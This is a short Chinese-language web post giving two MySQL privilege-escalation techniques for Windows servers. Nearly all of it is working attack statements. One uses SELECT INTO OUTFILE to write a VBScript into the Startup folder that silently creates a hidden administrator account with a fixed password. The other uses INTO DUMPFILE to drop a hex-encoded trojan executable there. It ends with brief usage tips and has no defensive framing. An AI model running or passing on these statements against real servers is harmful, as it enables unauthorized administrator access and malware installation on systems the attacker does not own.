MySQL服务器提权两例

create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user iis_user 123!@#abcABC /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators iis_user /add"",0) " );
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";

create table a (cmd BLOB);
insert into a values （CONVERT(木马的16进制代码,CHAR));
select * from a into dumpfile ’C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\启动\\mm.exe’
drop table a;
执行前3条语句，就可以将木马写进启动里了，前提是木马一定要是16进制，还有就是路径要是\\，因为windows会自动过滤掉一个\

本文固定链接：http://www.verydemo.com/demo_c116_i10307.html